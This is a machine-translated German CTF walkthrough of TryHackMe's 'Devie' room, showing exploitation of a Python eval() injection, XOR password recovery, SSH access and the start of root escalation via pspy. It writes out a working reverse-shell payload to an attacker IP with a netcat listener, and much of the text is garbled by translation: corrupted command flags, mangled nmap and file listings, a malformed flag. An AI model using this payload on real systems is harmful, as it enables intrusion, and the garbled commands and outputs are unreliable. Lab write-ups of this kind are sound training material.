[Tryhackme] Ich habe die Befehlsinjektion mit Pythons eval () -Funktion ausprobiert! Devie schreiben

Dieses Mal habe ich die Befehlsinjektion mit der Funktion von Python Eval () ausprobiert.
Es enthält auch die Befehlsinjektion als Beschreibung für den Raum namens Devie von Tryhackme. Schauen Sie sich also bitte einen Blick darauf an.
"Tryhackme-: https://tryhackme.com/room/devie "

Bitte beachten Sie, dass die Erklärung Spoiler sind.

Empfohlene Nachschlagewerke
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Ipusiron
¥3,850 (Ab 21:11 am 07.08.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, überwacht von: Mantani Nobutaka, Übersetzung: Arai Yu, Übersetzung: Kakara Hirosei, Übersetzung: Murakami Ryo
¥3,520 (Ab 12:26 am 07.09.2025 | Amazon Research)
\Amazon Prime Day ist jetzt im Gange! /
Amazonas
Inhaltsverzeichnis

Vorbereitung

Wählen Sie zunächst "Startmaschine" aus, um die Zielmaschine zu starten.

Solange die IP -Adresse angezeigt wird, ist sie in Ordnung.

Was sind die Flaggen?

Lassen Sie uns die Flagge sofort holen.
Es gibt keine Hinweise in diesem Raum, daher müssen wir mit der Aufklärung beginnen.

Was ist die erste Flagge?

Zunächst werden wir NMAP verwenden, um das Port -Scan durchzuführen.

┌── (hacklab㉿hacklab)-[~] └─ $ nmap -Sc-Sv -p--Min-Rate 1500 10.10.120.182 -on TCP-scan.txt Start NMAP 7.92 (HTTPS://NMAP.ORG) AUF 2023-25 225 22:07 JSTPS. (0,25S Latenz). Nicht gezeigt: 65533 geschlossene TCP-Anschlüsse (Conn-gerührt) Port State Service Version 22/TCP Open SSH OpenSSH 8.2P1 Ubuntu 4UBUNTU0.5 (UBUNTU Linux; Protokoll 2.0) | SSH-Hostkey: | 3072 C9: 72: 7B: F5: B6: 2E: D5: 99: 56: 14: DE: 43: 09: 3A: 64: 92 (RSA) | 256 0B: 75: 58: 5A: B9: F7: 5B: A9: FF: EF: AD: 71: C1: 09: 0A: 33 (ECDSA) | _ 256 7d: F9: C9: C9: F8: 67: F9: 95: 4E: 68: 68: A4: A4: A4: A4: 7B: 8c: 8c: 98: 30 (60 °hen upnp? | Fingerabdruckstrings: | GetRequest: | Http/1.1 200 ok | Server: Werkzug/2.1.2 Python/3.8.10 | Datum: Do, 25. Mai 2023 13:08:24 GMT | Inhaltstyp: Text/HTML; charset = utf-8 | Inhaltslänge: 4486 | Verbindung: Schließen |<!doctype html> |<html lang="en"> |<head> |<meta charset="utf-8"> |<meta name="viewport" content="width=device-width, initial-scale=1"> | <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> |<title> Mathe</title> |</head> |<body> | id = "title"> math formeln</p> |<main> |<section><!-- Sections within the main --> | ID = "Titel"> Fühlen Sie sich frei, einen der folgenden Taschenrechner zu verwenden:</h3> |<br> |<article><!-- Sections within the section --> | id = "Titel"> Quadratische Formel</h4> | <form met | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd">|<html> |<head> |<meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | |</head> | |<h1> Fehlerantwort</h1> |<p> Fehlercode: 400</p> |<p> Nachricht: Schlechte Anfrageversion ('RTSP/1.0').</p> |<p> Fehlercode Erläuterung: httpstatus.bad_request - schlechte Anforderungssyntax oder nicht unterstützte Methode.</p> | | _</html> 1 Dienst nicht anerkannte Datenübergabedaten. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port5000-TCP:V=7.92%I=7%D=5/25%Time=646F5DC9%P=x86_64-pc-linux-gnu%r(Ge SF: TREQUEST, 1235, "http/1 \ .1 \ x20200 \ x20OK \ r \ nserver: \ x20WERKZUG/2 \ .1 \ .2 \ x2 SF: 0python/3 \ .8 \ .10 \ r \ ndate: \ x20thu, \ x2025 \ x20may \ x202023 \ x2013: 08: 24 \ x20g Sf: mt \ r \ ncontent-type: \ x20Text/html; \ x20Charset = utf-8 \ r \ ncontent-länge: \ x sf: 204486 \ r \ nconnection: \ x20Close \ r \ n \ r \ n<!doctype\x20html> \N<html\x20lang SF:=\"en\"> \ n \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20charset=\"utf-8\"> \ n sf: \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi SF:dth,\x20initial-scale=1\"> \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 <link\x20href=\"https://c SF:dn\.jsdelivr\.net/npm/bootstrap@5\.0\.1/dist/css/bootstrap\.min\.css\"\ SF:x20rel=\"stylesheet\"\x20integrity=\"sha384-\+0n0xVW2eSR5OomGNYDnhzAbDs SF:OXxcvSN1TPprVMTNDbiYZCxYbOOl7\+AMvyTG2x\"\x20crossorigin=\"anonymous\"> Sf: \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20</head> \ n \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20<p\x20id=\"title\"> Math \ x20formulas</p> \ n \ n \ x20 \ x20 \ sf: x20 \ x20<main> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<section> \ x20 \ x20<!--\x20Section SF:s\x20within\x20the\x20main\x20--> \ n \ n \ t \ t \ t<h3\x20id=\"titles\"> \ x20f SF: Eel \ x20Free \ x20to \ x20use \ x20any \ x20of \ x20The \ x20Calculators \ x20Below:</ SF:h3> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<br> \ n \ t \ t \ t<article> \ x20<!--\x2 SF:0Sections\x20within\x20the\x20section\x20--> \ n \ t \ t \ t \ t \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h4\x20id=\"titles\"> Quadratische \ x20formula</h SF:4> \x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ <form\x20met")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\ SF:x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"> \N<html> \ n \ x20 sf: \ x20 \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20http-equiv SF:=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"> \ n \ x20 \ x20 \ x20 sf: \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 <sf:/head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ \ x20 \ \ x20 \ \ x20 \ \ x20<h1> Err sf: oder \ x20Response</h1> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Fehler \ x20Code: \ sf: x20400</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Nachricht: \ x20bad \ x20Reque SF: ST \ x20version \ x20 \ ('rtsp/1 \ .0' \) \.</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x2 sf: 0<p> Fehler \ x20Code \ x20Explanation: \ x20httpstatus \ .bad_request \ x20- \ x20ba SF: d \ x20Request \ x20Syntax \ x20OR \ x20unsupportiert \ x20Method \.</p> \ n \ x20 \ x20 \ x sf: 20 \ x20 \ n</html> \ n "); Service Info: OS: Linux; CPE: CPE:/O: Linux: Linux_kernel Service Erkennung ausgeführt. Bitte melden Sie falsche Ergebnisse unter https://nmap.org/submit/.

Ich habe zwei Dinge gefunden:

  • 22: SSH
  • 5000: Web -App, die auf einem HTTP -Server ausgeführt wird

Schauen wir uns nun die Web -App -Nummer 5000 an.

Sie können den Quellcode herunterladen.
Laden Sie es herunter und schauen Sie sich den Inhalt an.

Das erste, was mich stört, ist Bisection.py.
Prime.py und quadratisch.py sind Schwimmkörper, während hier eine Zeichenfolge ist.

Als nächstes kommt App.py.
Wenn Sie sich den halbektiven Teil ansehen, können Sie sehen, dass es eval () verwendet.

Wie Sie auf der folgenden Website sehen können, können Sie mit Eval () die vom Benutzer vom Python -Code eingegebenen Werte ausführen.
Rufen Sie als Eingabewert os.System () auf, um Shell umzukehren.

Ich möchte die Werte in Burp Suite umschreiben, also werde ich die Bisektionsmethode einreichen.

Proxy in Burp Suite und schreiben Sie XA mit dem Reverse -Shell -Code unten neu.

__import __ ('os'). System ('bash -c \'/bin/bash+-i+>%26+/dev/tcp/10.18.110.90/9001+0>%261 \ '')#

Hören Sie mit NC vor, bevor Sie weiterleiten.

┌── (hacklab㉿hacklab) -[~] └─ $ nc -lnvp 9001 Hören Sie [Any] 9001 ...

Nach dem Weiterleiten bekam ich eine Bruce Shell.

┌── (hacklab㉿hacklab) -[~] └─ $ nc -Lnvp 9001 Hören Sie sich an [10.10.120.182] 48192 BASH: NICHT SETTEN ANTIINAL -PROZESSGEBNISSE [10.10.120.182]. Whoami Whoami Bruce

Es gibt Flag1.txt, also schauen Sie es sich also an.

bruce@devie: ~ $ ll ll insgesamt 44 drwxr-xr-x 4 Bruce Bruce 4096 Feb 20 00:33. .bash_logout -rw-r --- 1 Bruce Bruce 3771 Feb 25 2020 .Bashrc drwx ------ 2 Bruce Bruce 4096 12. Mai 2022 .Cache/ -RW-R-R-- 1 Root Root 158 Februar 19 23:26 Checklist -rw-R-1 Wurzel Wurzel Wurzel Wurzel 3222222 2022 Flagg. -RW-R --- 1 Bruce Bruce 807 25. Februar 2020 .Profile -rw-rw-r-- 1 Bruce Bruce 75 Mai 1222. Selected_editor drwx ---- 2 Bruce Bruce 4096 Mai 1222 .sssh/ -RW ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Antwort

Was ist die zweite Flagge?

Ich werde nach der zweiten Flagge suchen.
Ich habe eine Datei mit dem Namen Note im Bruce -Verzeichnis gefunden, das mir gefallen hat, also werde ich sie überprüfen.

bruce@devie: ~ $ cat note cat note Hallo Bruce, ich habe mein Passwort mit dem Super sicheren XOR -Format codiert. Ich habe den Schlüssel ziemlich lang gemacht und ihn am Ende mit etwas Basis64 ausgeprägt, um ihn noch sicherer zu machen. Ich werde das Dekodierungsskript bald dafür teilen. Sie können jedoch mein Skript im / opt / verzeichnis verwenden. Schauen Sie sich vorerst diese super sichere Zeichenfolge an: Nreedtien1MRDG5K GORDON ===== Hallo Bruce, ich habe das Super -Secure XOR -Format verwendet, um das Passwort zu codieren. Der Schlüssel war ziemlich lang und ich würze ihn endlich mit Base64, um es noch sicherer zu machen. Wir werden das Entschlüsselungsskript bald veröffentlichen. Sie können mein Skript jedoch im Verzeichnis / opt / verwenden. Schauen Sie sich vorerst diese super sicher

Zusammenfassend wurde es im XOR -Format codiert und dann in Base64 codiert.
Es heißt auch, dass das Verschlüsselungsskript unter "/opt/" steht.
Zu diesem Zeitpunkt kennen wir das "Nreedtien1MRDG5K", das das Ergebnis des Verschlingens mit dem obigen Skript ist.

  • Einfacher Text :? ?
  • Schlüssel:? ?
  • Verschlüsselung: NEUEDTIEN1MRDG5K

Wenn es xor verschlüsselt ist, bedeutet dies, dass es kombiniert werden kann, solange Sie den Schlüssel kennen.
Um den Schlüssel herauszufinden, müssen Sie den Klartext und die Verschlüsselung kennen.
Dieses Mal gibt es ein Codierungsskript, sodass Sie den Schlüssel identifizieren können, indem Sie Chiffren aus einem geeigneten Klartext generieren und die Chiffre entschlüsseln, indem Sie den Klartext als Schlüssel verwenden.

Schauen wir uns zunächst einen Blick auf Encrypt.py in /opt /an.

bruce@devie: ~ $ cd/ opt/ cd/ opt/ bruce@devie:/ opt $ ll ll ll ll ll 12 drwxr-xr-x 2 root root 4096 Aug 2 2022 ./ Drwxr-XR-X 19 Root 4096 Mai 1222 ../ -RW-r ----

Im Moment scheint es nicht autorisiert zu sein.
Sehen Sie die sudo -Berechtigungen mit sudo -l an.

bruce@devie:/opt$ sudo -l sudo -l Matching Defaults entries for bruce on device: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/snap/bin User bruce may run the following commands on devie: (gordon) NOPASSWD: /usr/bin/python3 /opt/encrypt.py

Gordons Nopasswd hatte "/usr/bin/python3 /opt/encrypt.py".
Dies bedeutet, dass Sie es ohne Passwort tun können.

Lassen Sie uns nun Encrypt.py ausführen.
Die obige Notiz besagt, dass der Schlüssel auf eine lange Zeit eingestellt ist, sodass ich ihn auf 30 Ziffern gesetzt habe.

bruce@devie:/opt $ sudo -u gordon/usr/bin/python3 /opt/encrypt.py sudo -u gordon/usr/bin/python3 /opt/encrypt.py Geben Sie ein Passwort für Verschlüsseln ein Qkdduudfultlvuvzvk1nwuvavkjcr0nrr0vsw0TV

Das Ausführungsergebnis ist wie folgt:

  • Einfacher Text: 123456789012345678901234567890
  • Schlüssel:? ?
  • Kryptographie: QkdduudfulTlvuvzvk1nwuvavkjcr0NRR0VSW0TV

Jetzt, da wir den einfachen Text und die Chiffre kennen, Cyberchef entschlüsseln

Die Dekodierungsergebnisse sind wie folgt:

Supersecretkeyxorxorsuperesecre

Es wird wiederholt, wenn die Ziffern überschritten werden, daher stellte ich fest, dass der Schlüssel "SuperSecretkeyxorxor" ist.

  • Einfacher Text: 123456789012345678901234567890
  • Schlüssel: supersecretkeyxorxor
  • Kryptographie: QkdduudfulTlvuvzvk1nwuvavkjcr0NRR0VSW0TV

Wenn die Verschlüsselung aus demselben Codierungsskript generiert wurde, sollte der Schlüssel der gleiche sein, sodass der Schlüssel, der das Gordon -Passwort verschlüsselt, auch der gleiche sein wird.

  • Einfacher Text :? ?
  • Schlüssel: supersecretkeyxorxor
  • Verschlüsselung: NEUEDTIEN1MRDG5K

Jetzt können Sie die Verschlüsselung mit dem Schlüssel entschlüsseln.
Verwenden Sie Cyberchef.

Die Dekodierungsergebnisse sind wie folgt:

  • Einfacher Text: G0th@MR0ckz!
  • Schlüssel: supersecretkeyxorxor
  • Verschlüsselung: NEUEDTIEN1MRDG5K

Ich habe erfolgreich den einfachen Text bekommen, also werde ich mit SSH eine Verbindung herstellen.

┌── (hacklab㉿hacklab)-[~] └─ $ ssh gordon@10.10.120.182 Die Authentizität des Hosts '10 .10.120.182 (10.10.120.182) kann nicht festgelegt werden. ED25519 Key Fingerabdruck ist SHA256: 6NBPOXONBVDQTML32GOUL+CH5CXDNJQBOFZ7S9O2itG. Dieser Host -Schlüssel ist unter den folgenden anderen Namen/Adressen bekannt: ~/.ssh/Bekannte_Hosts: 6: [Hashed -Name] ~/.sssh/Bekannter_Hosts: 7: [Hashed -Name] Sind Sie sicher, dass Sie sich weiter verbinden möchten (yes/no/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.120.182 '(ED25519) in die Liste der bekannten Hosts. gordon@10.10.120.182's password: Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu 25 May 2023 01:47:42 PM UTC -Systemlast: 0.08 Prozesse: 124 Verwendung von /: 56,4% von 8,87 GB Benutzern angemeldet: 0 Speicherverbrauch: 12% IPv4 -Adresse für ens5: 10.10.120.182 Swap -Verwendung: 0% * streng beschränkte Kubernetes macht Edge und IOT sicher. Erfahren Sie, wie Microk8s die Stange gerade für einfache, belastbare und sichere K8s -Cluster -Bereitstellung erhöht hat. https://ubuntu.com/engage/secure-kubernetes-at-the-ed-ed-ned * Einführung erweiterter Sicherheitswartung für Anwendungen. Erhalten Sie Updates für über 25.000 Softwarepakete mit Ihrem Ubuntu Pro -Abonnement. Kostenlos für den persönlichen Gebrauch. https://ubuntu.com/pro erweiterte Sicherheitswartung für Anwendungen ist nicht aktiviert. 0 Updates können sofort angewendet werden. Aktivieren Sie ESM -Apps, um zusätzliche zukünftige Sicherheitsaktualisierungen zu erhalten. Siehe https://ubuntu.com/esm oder run: sudo pro Status Die Liste der verfügbaren Updates ist älter als eine Woche. Um nach neuen Updates zu suchen, werden die mit dem Ubuntu -System enthaltenen Programme aktualisiert. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Ubuntu ist mit absolut garantierter Garantie geliefert, sofern dies nach geltendem Recht zulässig ist. Gordon@Devie: ~ $ 

Ich konnte mich sicher verbinden!
Es gibt Flag2.txt, also schau es dir an.

gordon@devie: ~ $ ll Gesamt 36 DRWXR-XR-X 5 GORDON GORDON 4096 Mai 25 13:47. -> /dev /null -rw-r-R-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r- r--r ---- .bash_logout -RW-R-R ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- gordon@devie: ~ $ cat flag2.txt thm {x0r_xor_xor_xor}}

Antwort

Was ist die Wurzelflagge?

Schließlich wird es zu Wurzelprivilegien erhöht und die Wurzelflagge erhalten.

Was ich neugierig bin, sind Berichte und Buckups.
Schauen wir uns an, was sich darin befindet.

gordon@devie: ~ $ ll Gesamt 36 DRWXR-XR-X 5 GORDON GORDON 4096 Mai 25 13:47. -> /dev /null -rw-r-R-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r- r--r ---- .bash_logout -RW-R-R ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Ich habe auch die Dateien in Berichten nachgeschlagen, aber es gab mich nichts Besonderes.

gordon@devie: ~ $ cd berichtet gordon@devie: ~/ reports $ ll insgesamt 20 drwxrwx --- 2 Gordon Gordon 4096 19 23:33. Gordon 72 19. Februar 23:32 Report2 -rw-r-R-- 1 640 Gordon 100 Februar 193:33 Bericht3

Als nächstes scheint es in Bezug auf Backups Berichte zu unterstützen.
Es ist seltsam, dass die Berechtigungen Wurzel sind.

gordon@devie: ~ $ cd backups/ gordon@devie: ~/ backups $ ll insgesamt 20 drwxrwx --- 2 Gordon Gordon 4096 Feb 19 23:35. 25 14:02 Report2 -rw-r-R-- 1 Root Root 100 Mai 25 14:02 Bericht3

Um es zu versuchen, erstellen Sie einen Test.txt in Berichten.

gordon@devie: ~ $ cd berichtet gordon@devie: ~/ reports $ touch test.txt gordon@devie: ~/ reports $ ll insgesamt 20 drwxrwx --- 2 Gordon Gordon 4096 Mai 25 14:03 ./drwxr-x 5 Gordon Gordon 4096 Mai 25 13:47. Report1 -rw-r-R-- 1 640 Gordon 72 19. Februar 23:32 Report2 -rw-r-1 640 Gordon 100

Als ich Backups nachsah, stellte ich fest, dass der Test in etwa einer Minute kopiert worden war. Und mit Wurzelprivilegien.

gordon@devie: ~/ backups $ ll insgesamt 20 drwxrwx --- 2 Gordon Gordon 4096 25. Mai 14:04 ./ DRWXR-XR-X 5 GORDON GORDON 4096 Mai 25 13:47 ../ -RW-R-1 Root Root Root 100 Mai 25 14:04 Report3 -rw-r-R-- 1 Root 0. Mai 25 14:04 Test.txt

Da es regelmäßig läuft, habe ich mich Crontab angesehen, aber ich konnte so etwas nicht finden. . .

gordon@devie: ~/backups $ cat/etc/crontab #/etc/crontab: systemweites Crontab # Im Gegensatz zu jedem anderen Crontab müssen Sie den Befehl "crontab" # nicht ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/cron.d bearbeiten. Diese Dateien haben auch Benutzernamenfelder, die keiner der anderen Crontabs tun. Shell =/bin/sh path =/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # Beispiel der Jobdefinition: # .------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -report /etc/cron.hourly 25 6 * * * Root Test -x/usr/sbin/anacron || (CD /&& Run -Parts --Report /etc/cron.daily) 47 6 * * 7 Root Test -x /usr /sbin /Anacron || (CD /&& Run -Parts --Report /etc/cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD /&& Run-Parts--Rport /etc/cron.monthly) #

Versuchen wir nun PSPY64.

Setzen Sie nach dem Herunterladen einfach den Server mit Python ein.

┌── (hacklab㉿hacklab) -[~] └─ $ python3 -m http.server 9999 serviert http unter 0.0.0.0 Port 9999 (http://0.0.0.0:9999/) ...

Laden Sie PSPY64 mit WGet herunter und ändern Sie die Berechtigungen.

gordon@devie: ~ $ wget 10.18.110.90:9999/download/pspy64 --2023-05-25 14: 10: 13- http://10.18.110.90:9999/%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89/pspy64 Connecting to 10.18.110.90:9999... connected. HTTP-Anfrage gesendet, auf Antwort erwartet ... 200 OK Länge: 3104768 (3,0 m) [Anwendung/Oktett-Stream] Speichern auf: 'PSPY64' PSPY64 100%[============================================ 2,96 m 123KB/S in 44S 2023-05-25 14:10:57 (69.5 KB/S)-' [3104768/3104768] gordon@devie:~$ chmod a+x pspy64 gordon@devie:~$ ll total 3068 drwxr-xr-x 5 gordon gordon 4096 May 25 14:10 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 May 25 14:10 Backups/lrwxrwxrwx 1 Root Root .Cache/ -rw-r ---- 1 Root Gordon 21. August 2 2022 Flag2.txt -rw-r-R-- 1 Gordon Gordon 807 Feb 25 2020 .Profile -rwxrwxr-X 1 Gordon Gordon 3104768 Mai 20 08:27 PSPY64* DRWXRWX-2 GORDON-2 GORDON-2 GORDON-2 GORDON-2 GORDON-2 GORDON 4096 MOGTRAGEN 4096 MOGTRAGEN 4096 MOGTELN 4096 Mai 23: 03: 03: 03: 03: 03: 03: 03: 03. -RW ------ 1 Gordon Gordon 0 12. Mai 2022 .Viminfo

Führen Sie nun PSYS64 aus.

gordon@devie:~$ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ " ░ ░ Konfiguration: Druckereignisse (farbig = true): processes = true | Datei-System-Events = False ||| Scannen Sie alle 100 ms und bei Inotify -Ereignissen ||| Verzeichnisse ansehen: [ /usr /tmp /etc /home /var /opt] (rekursiv) | [] (nicht rekursiv) Entledungs-Dateisystemereignisse aufgrund des Starts ... erledigt 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1753 | ./pspy64 2023/05/25 14:13:40 cmd: uid = 0 pid = 1741 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1710 | 2023/05/25 14:13:40 CMD: UID = 0 PID = 1638 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1582 | -Bash 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1576 | SSHD: gordon@pts/0 2023/05/25 14:13:40 cmd: uid = 0 pid = 1454 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1453 | (SD-PAM) 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1449 | /lib/systemd/systemd --user 2023/05/25 14:13:40 cmd: uid = 0 pid = 1433 | SSHD: Gordon [priv] 2023/05/25 14:13:40 cmd: uid = 0 pid = 1262 | 2023/05/25 14:13:40 CMD: UID = 0 PID = 997 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 709 | /usr/sbin/modemManager 2023/05/25 14:13:40 cmd: uid = 0 pid = 702 | /usr/bin/python3/usr/share/share/unbeaufsichtigt-upgrades/unbeaufsichtigt-upgrade-shutdown ---wait-for-signal 2023/05/25 14:13:40 cmd: uid = 0 pid = 696 | SSHD:/usr/sbin/sshd -d [Hörer] 0 von 10-100 Startups 2023/05/25 14:13:40 cmd: uid = 1000 pid = 695 | /usr/bin/python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 1000 pid = 694 | /bin/sh -c/usr/bin/python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 0 pid = 683 | /sbin/agetty -o -p -\ u -noclear tty1 linux 2023/05/25 14:13:40 cmd: uid = 0 pid = 677 | /sbin/agetty -o -p -\ u -Keep -baud 115200,38400,9600 TTYS0 VT220 2023/05/25 14:13:40 cmd: uid = 1 pid = 648 | /usr/sbin/ATD -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 646 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 644 | /usr/lib/udisks2/udisksd 2023/05/25 14:13:40 cmd: uid = 0 pid = 642 | /lib/systemd/systemd-logind 2023/05/25 14:13:40 cmd: uid = 0 pid = 640 | /usr/lib/snapd/snapd 2023/05/25 14:13:40 cmd: uid = 104 pid = 639 | /usr/sbin/rsyslogd -n -inone 2023/05/25 14:13:40 cmd: uid = 0 pid = 633 | /usr/lib/Policykit-1/polkitd --no-debug 2023/05/25 14:13:40 cmd: uid = 0 pid = 632 | /usr/bin/python3/usr/bin/networkd-dispatcher--run-startuptriggers 2023/05/25 14:13:40 CMD: uid = 0 pid = 631 | /usr/sbin/irqbalance -vorerground 2023/05/25 14:13:40 CMD: UID = 103 PID = 625 | /usr/bin/dbus-daemon--System --address = systemd: --NoFork-NopidFile ---Systemd-Aktivierung ---syslog-only 2023/05/25 14:13:40 cmd: uid = 0 pid = 624 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 619 | /usr/bin/Amazon-SSM-Agent 2023/05/25 14:13:40 cmd: uid = 0 pid = 618 | /usr/lib/AccountSservice/Accounts-Daemon 2023/05/25 14:13:40 CMD: UID = 101 PID = 606 | /lib/systemd/systemd-gelöscht 2023/05/25 14:13:40 cmd: uid = 100 pid = 595 | /lib/systemd/systemd-networkd 2023/05/25 14:13:40 CMD: UID = 102 PID = 557 | /lib/systemd/systemd-timesyncd 2023/05/25 14:13:40 cmd: uid = 0 pid = 548 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 547 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 541 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 537 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 535 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 526 | /sbin/multipathd -d -s 2023/05/25 14:13:40 cmd: uid = 0 pid = 525 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 524 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 523 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 522 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 403 | /lib/systemd/systemd-udevd 2023/05/25 14:13:40 cmd: uid = 0 pid = 365 | /lib/systemd/systemd-journald 2023/05/25 14:13:40 cmd: uid = 0 pid = 327 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 291 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 290 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 283 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 241 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 209 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 176 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 162 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 161 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 160 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 159 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 120 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 107 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 104 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 94 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 93 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 92 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 91 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 89 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 88 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 85 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 84 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 83 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 82 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 81 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 80 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 79 | 2023/05/25 14:13:40 